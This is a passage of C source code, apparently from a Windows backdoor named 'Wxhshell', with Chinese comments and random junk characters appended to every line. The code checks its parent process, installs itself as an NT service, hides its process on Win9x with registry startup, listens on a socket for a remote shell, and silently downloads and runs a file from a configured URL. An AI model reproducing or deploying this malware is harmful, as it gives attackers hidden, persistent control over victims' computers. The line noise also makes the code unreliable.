ULONG UniqueProcessId; EbVva{;#$;
ULONG InheritedFromUniqueProcessId; \j3dB
tc
} PROCESS_BASIC_INFORMATION; 2i1xSKRYrD
^H{YLO
PROCNTQSIP NtQueryInformationProcess; ?( z"Ub]
a/1;|1a.
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ]^>:)q
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; '3WtpsKA
n;Q8Gg2U
HANDLE hProcess; Au}l^&,zN
PROCESS_BASIC_INFORMATION pbi; I~@8SSO,vH
0Oc?:R'$
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 1?1Bz?EKF*
if(NULL == hInst ) return 0; "k{so',7z
/]MelW
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); />/e
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); w>=N~0@t
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); G9yK/g&q
6Io}3}3
if (!NtQueryInformationProcess) return 0; isQOt *
i
NRx I?v
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); o ]z#~^w
if(!hProcess) return 0; .g\Oj0Cbxh
>eQ.y-
4
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Q}KOb4D
*4}NLUVX
CloseHandle(hProcess); k%i.B
}^ ,D~b-nB
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *Q/^ib9=
if(hProcess==NULL) return 0; %xOxMK@
Br7q.
HMODULE hMod; Y%;X7VxU*
char procName[255]; 1BZ##xV*:G
unsigned long cbNeeded; -OlrA{=c_
'5De1K.\`
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); X3kFJ{
-bzlp7q*
CloseHandle(hProcess); a*U[;(
$5)#L$!,]
if(strstr(procName,"services")) return 1; // 以服务启动 ['.])
n9}BT^4 v
return 0; // 注册表启动 @:GqOTN
} OB$Jv<C@
$S|+U}]C
// 主模块 c]aU}[s1
int StartWxhshell(LPSTR lpCmdLine) abR<( H12
{ Af]zv~uM
SOCKET wsl; &l1t5 !
BOOL val=TRUE; Pg(Y}Tu
int port=0; aH'fAX0bF
struct sockaddr_in door; otR7E+*3
Mh-"B([Z
if(wscfg.ws_autoins) Install(); `y.4FA4"8
s.i9&1Y-!
port=atoi(lpCmdLine); #xGP|:m
"I/05k K
if(port<=0) port=wscfg.ws_port; \EVT*v=}/
DX>LB$dy?
WSADATA data; &'W7-Z\j-
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; xOj#%;
92<+ug =
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Za|iU`e\
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ]?@ [Ny=0
door.sin_family = AF_INET; sT2`y$'
door.sin_addr.s_addr = inet_addr("127.0.0.1"); +?U[362>
door.sin_port = htons(port); z:f&k}(
C`i#7zsH
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 8fP2qj0
closesocket(wsl); yC\UT
~j/
return 1; P ljPhAce
} :a;F3NJ
aj;x:UqpJ
if(listen(wsl,2) == INVALID_SOCKET) { =M;F&;\8
closesocket(wsl); ,FzkGB#
return 1; q *&H
} B1 }-
Wxhshell(wsl); { im?tZ,
WSACleanup(); (x2?{\?
p]RQ-0
return 0; ';FJs&=I
k+ t(u]
} .>R`#@+I
l}L81t7f
// 以NT服务方式启动 3=uhy|f! /
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 3xs<w7
{ <jV,VKL#
DWORD status = 0; K^fs#7
DWORD specificError = 0xfffffff; M@{?#MkS%
qG;tD>jy
serviceStatus.dwServiceType = SERVICE_WIN32; aJ(/r.1G
serviceStatus.dwCurrentState = SERVICE_START_PENDING; !lNyoX/
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; wkZwtq
serviceStatus.dwWin32ExitCode = 0; {FvFah
serviceStatus.dwServiceSpecificExitCode = 0; )]C]K B
serviceStatus.dwCheckPoint = 0; BN79\rt
serviceStatus.dwWaitHint = 0; .|[{$&B
3Y38lP:>h
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); C7{VByxJ
if (hServiceStatusHandle==0) return; -8qCCV&1i
Qa=Y?=Za
status = GetLastError(); %RV81H9B
if (status!=NO_ERROR) gvT}UNqL
{ +I3Vfv
serviceStatus.dwCurrentState = SERVICE_STOPPED; 3F|p8zPS
serviceStatus.dwCheckPoint = 0; -yqgs>R(d
serviceStatus.dwWaitHint = 0; vGv<WEE
serviceStatus.dwWin32ExitCode = status; 0R)x"4Ww
serviceStatus.dwServiceSpecificExitCode = specificError; 0}<blU
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 95'+8*YCY
return; 9Q,>I6`l
} nu\AEFT
]6Iu\,#J
serviceStatus.dwCurrentState = SERVICE_RUNNING; ~4~r
serviceStatus.dwCheckPoint = 0; t~ {O)tt
serviceStatus.dwWaitHint = 0; M6p\QKi
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); B%\&Q@X
} KuJ9bn{u!C
@!OXLM
// 处理NT服务事件,比如:启动、停止 Y_[7q<L
VOID WINAPI NTServiceHandler(DWORD fdwControl) yx|iZhK0:}
{ tNFw1&
switch(fdwControl) #[jS&rr(
{ 3&})gU&a
case SERVICE_CONTROL_STOP: KR$Fd
serviceStatus.dwWin32ExitCode = 0; lW|=rq-|
serviceStatus.dwCurrentState = SERVICE_STOPPED; ![B|Nxq}@
serviceStatus.dwCheckPoint = 0; U2YY
serviceStatus.dwWaitHint = 0; ~Fh+y+g?
{ '=$`NG8l
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ni>Ns=n
} }MOXJb @
return; %}TJr]'F
case SERVICE_CONTROL_PAUSE: t)W=0iEd9
serviceStatus.dwCurrentState = SERVICE_PAUSED; eXKEx4rU
break; zn-=mk;W
case SERVICE_CONTROL_CONTINUE: ftRFG
serviceStatus.dwCurrentState = SERVICE_RUNNING; }T$BU>z33N
break; YtvDayR>
case SERVICE_CONTROL_INTERROGATE: s\mA3t
break; ;l!<A
}; HY5R
SetServiceStatus(hServiceStatusHandle, &serviceStatus); #,z-Pj?O!
} Ac U@H0
wuXQa
wo
// 标准应用程序主函数 t[2b~peNI
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) lU!_V%n
{ W<)nC_$
dUa>XkPa\2
// 获取操作系统版本 _0$>LWO~
OsIsNt=GetOsVer(); *~P| ? D'
GetModuleFileName(NULL,ExeFile,MAX_PATH); p+~Imf-Jk
By6O@ .\V
// 从命令行安装 #+D][LH4
if(strpbrk(lpCmdLine,"iI")) Install(); k5K5OpY
Xd A]);,
// 下载执行文件 {,5.svO
if(wscfg.ws_downexe) { 873 bg|^hs
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >dK0&+A
WinExec(wscfg.ws_filenam,SW_HIDE); M{orw;1Isy
} rPy,PQG2w
iC
hIW/H
if(!OsIsNt) { HgW!Q(*
// 如果时win9x,隐藏进程并且设置为注册表启动 <EqS
,cO^
HideProc(); g~-IT&O
StartWxhshell(lpCmdLine); Jq)k5X>&Sj
} DXD+,y\=
else $W}:,]hoj
if(StartFromService()) tH; 6Mp;f
// 以服务方式启动 xKBi".wA
StartServiceCtrlDispatcher(DispatchTable); &b